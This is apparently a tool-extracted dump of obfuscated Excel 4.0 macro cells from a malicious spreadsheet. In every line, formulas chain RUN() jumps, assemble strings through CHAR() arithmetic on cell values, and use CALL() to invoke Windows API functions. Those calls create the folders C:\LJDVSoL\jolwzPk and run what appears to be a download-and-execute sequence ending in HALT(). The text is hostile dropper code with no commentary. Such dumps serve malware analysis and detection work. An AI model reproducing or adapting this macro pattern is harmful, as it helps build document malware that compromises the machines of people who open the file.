'  lhVqgXlv,ER1624,"",1059.00000000000000000000
'  lhVqgXlv,IS1634,CHAR(CR1175-983),""
'  lhVqgXlv,CG1638,RUN(GT149),""
'  lhVqgXlv,JH1640,CONCATENATE(EU1172),""
'  lhVqgXlv,U1641,CHAR(JF864-421),""
'  lhVqgXlv,EI1641,CHAR(JN456-421),""
'  lhVqgXlv,DB1647,RUN(M1431),""
'  lhVqgXlv,HJ1651,"",990.00000000000000000000
'  lhVqgXlv,JF1654,"",1050.00000000000000000000
'  lhVqgXlv,FJ1656,"",9.00000000000000000000
'  lhVqgXlv,JM1671,CHAR(E1368-943),""
'  lhVqgXlv,JM1672,RUN(HW1449),""
'  lhVqgXlv,R1673,RUN(B1022),""
'  lhVqgXlv,ED1674,"",538.00000000000000000000
'  lhVqgXlv,CE1677,RUN(CB177),""
'  lhVqgXlv,DN1677,"",1042.00000000000000000000
'  lhVqgXlv,E1680,CHAR(IG89-943),""
'  lhVqgXlv,E1681,RUN(DD1082),""
'  lhVqgXlv,GW1681,CHAR(Z1704-983),""
'  lhVqgXlv,Z1704,"",1095.00000000000000000000
'  lhVqgXlv,JJ1704,CHAR(HF817-421),""
'  lhVqgXlv,ER1705,"",1093.00000000000000000000
'  lhVqgXlv,GP1709,"",91.00000000000000000000
'  lhVqgXlv,IJ1714,RUN(HU92),""
'  lhVqgXlv,ES1718,"CALL(HL960,GQ857,"JCJ","C:\LJDVSoL",0)",""
'  lhVqgXlv,ES1719,RUN(GW591),""
'  lhVqgXlv,ES1720,"CALL(HL960,GQ857,"JCJ","C:\LJDVSoL\jolwzPk",0)",""
'  lhVqgXlv,ES1721,"CALL(CB1488,JI1620,"JJCCJJ",0,CB54,CA528,0,0)",""
'  lhVqgXlv,ES1722,"CALL(JH1640,O1270,"JJCCCCJ",0,EZ1954,CA528,,0,0)",""
'  lhVqgXlv,Y1723,"",15.00000000000000000000
'  lhVqgXlv,ES1723,HALT(),""
'  lhVqgXlv,EY1726,RUN(IQ1772),""
'  lhVqgXlv,BC1727,RUN(CS861),""
'  lhVqgXlv,BU1737,"",86.00000000000000000000
'  lhVqgXlv,A1738,CHAR(HY1429-421),""
'  lhVqgXlv,EH1739,RUN(DA918),""
'  lhVqgXlv,GR1740,CHAR(GV779-829),""
'  lhVqgXlv,CA1746,RUN(GR665),""
'  lhVqgXlv,EX1746,RUN(FW1576),""
'  lhVqgXlv,IH1746,CHAR(IO654-983),""
'  lhVqgXlv,BV1747,RUN(GC181),""
'  lhVqgXlv,T1748,"",1040.00000000000000000000
'  lhVqgXlv,V1748,"",1040.00000000000000000000
'  lhVqgXlv,JO1750,CHAR(CH1778-829),""
'  lhVqgXlv,IA1752,RUN(DZ1904),""
'  lhVqgXlv,IP1758,"",14.00000000000000000000
'  lhVqgXlv,CO1768,RUN(CH1325),""
'  lhVqgXlv,IQ1772,RUN(ES1718),""
'  lhVqgXlv,HE1773,RUN(EZ1145),""
'  lhVqgXlv,BJ1776,RUN(HO751),""
'  lhVqgXlv,CH1778,"",904.00000000000000000000
'  lhVqgXlv,FK1782,"",905.00000000000000000000
'  lhVqgXlv,JF1782,RUN(CM1186),""
'  lhVqgXlv,EQ1787,"",18.00000000000000000000
'  lhVqgXlv,FG1787,"",1063.00000000000000000000
'  lhVqgXlv,HB1792,CHAR(CQ1359-983),""
'  lhVqgXlv,EJ1796,RUN(JC55),""
'  lhVqgXlv,CJ1797,CHAR(DU896-421),""
'  lhVqgXlv,FH1798,RUN(U1084),""
'  lhVqgXlv,IW1799,RUN(BE534),""
'  lhVqgXlv,CZ1802,"",62.00000000000000000000
'  lhVqgXlv,FO1806,RUN(HV222),""
'  lhVqgXlv,HZ1812,RUN(HZ848),""
'  lhVqgXlv,GX1815,"",71.00000000000000000000
'  lhVqgXlv,CU1823,CHAR(IA714-943),""
'  lhVqgXlv,CU1824,RUN(E1680),""
'  lhVqgXlv,IY1838,RUN(FO1806),""
'  lhVqgXlv,EV1843,CHAR(DN1677-943),""
'  lhVqgXlv,IO1843,"",513.00000000000000000000
'  lhVqgXlv,JD1843,"",1059.00000000000000000000
'  lhVqgXlv,EV1844,RUN(CU1823),""
'  lhVqgXlv,HN1846,"",53.00000000000000000000
'  lhVqgXlv,IN1847,RUN(Y812),""
'  lhVqgXlv,DL1848,RUN(IA1291),""
'  lhVqgXlv,BM1852,CHAR(FJ151-421),""
'  lhVqgXlv,HW1857,"",75.00000000000000000000
'  lhVqgXlv,GQ1865,CHAR(GC1391-983),""
'  lhVqgXlv,EG1873,"",83.00000000000000000000
'  lhVqgXlv,EO1875,RUN(HD401),""
'  lhVqgXlv,BC1880,"",879.00000000000000000000
'  lhVqgXlv,IP1883,RUN(BJ1776),""
'  lhVqgXlv,CZ1890,RUN(CB711),""
'  lhVqgXlv,FQ1896,"",914.00000000000000000000
'  lhVqgXlv,HC1901,RUN(HH368),""
'  lhVqgXlv,DZ1904,RUN(GA129),""
'  lhVqgXlv,GE1904,CHAR(GD463-421),""
'  lhVqgXlv,IV1908,CHAR(DB1510-983),""
'  lhVqgXlv,IY1912,"",522.00000000000000000000
'  lhVqgXlv,BV1918,"",1001.00000000000000000000
'  lhVqgXlv,HA1919,CHAR(GE602-943),""
'  lhVqgXlv,HA1920,RUN(CB1993),""
'  lhVqgXlv,FK1933,CHAR(IU657-983),""
'  lhVqgXlv,GE1937,CHAR(IA49-983),""
'  lhVqgXlv,IQ1938,RUN(DH771),""
'  lhVqgXlv,DK1951,RUN(BT1579),""
'  lhVqgXlv,EZ1954,CONCATENATE(BK683),""
'  lhVqgXlv,DJ1958,"",911.00000000000000000000
'  lhVqgXlv,DM1958,CHAR(IZ593-829),""
'  lhVqgXlv,HI1961,CHAR(IZ669-829),""
'  lhVqgXlv,N1964,RUN(JF1782),""
'  lhVqgXlv,BJ1966,RUN(ER299),""
'  lhVqgXlv,X1967,RUN(FL985),""
'  lhVqgXlv,FH1968,"",907.00000000000000000000
'  lhVqgXlv,JF1974,"",40.00000000000000000000
'  lhVqgXlv,EH1976,RUN(X1044),""
'  lhVqgXlv,T1983,CHAR(H1238-983),""
'  lhVqgXlv,EH1989,CHAR(FK1782-829),""
'  lhVqgXlv,EC1992,"",930.00000000000000000000
'  lhVqgXlv,CB1993,CHAR(JF1654-943),""
'  lhVqgXlv,CB1994,RUN(S1053),""